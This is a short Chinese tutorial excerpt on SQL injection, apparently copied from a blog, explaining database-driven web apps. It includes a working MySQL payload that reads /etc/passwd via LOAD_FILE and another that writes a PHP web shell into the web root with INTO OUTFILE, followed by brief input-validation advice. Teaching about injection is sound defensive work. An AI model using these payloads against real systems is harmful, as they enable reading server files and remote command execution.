不管是何种语言编写的Web应用,有一部分是相同的,它们都具有交互性并且多半是数据库驱动的。
数据库驱动的Web应用通常有三层:表示层:Web浏览器或呈现引擎;逻辑层:如C# ASP .NET PHP等编程语言;存储层:MySQL等数据库。
SQL注入是一种将SQL代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。
比如数字类型不需要使用引号,如果使用引号则会被当做字符串处理。如果将下列语句作为输入,那么攻击者便会读取/etc/passwd文件中的内容,该文件包含系统用户的属性和用户名:
1 UNION ALL SELECT LOAD_FILE(‘/etc/passwd‘)
MySQL中还有一个内置命令,可使用该命令来创建系统文件并进行写操作。还可以使用下列命令向Web根目录写入一个Web shell以便安装一个可远程交互访问的Web shell:
1UNION SELECT "<? system($_REQUEST[‘cmd‘]); ?>" INTO OUTFILE "/var/www/html/***.com/cmd.php"
为防止出现这种漏洞,首要措施是执行严格的用户输入验证和输出编码。列如可以采用白名单方法。
语句:
select colunms_1,colunms_2,...,colunms_N from table_1
UNION
select colunms_1,colunms_2,...,colunms_N from table_2;
原文:https://www.cnblogs.com/yurang/p/12194623.html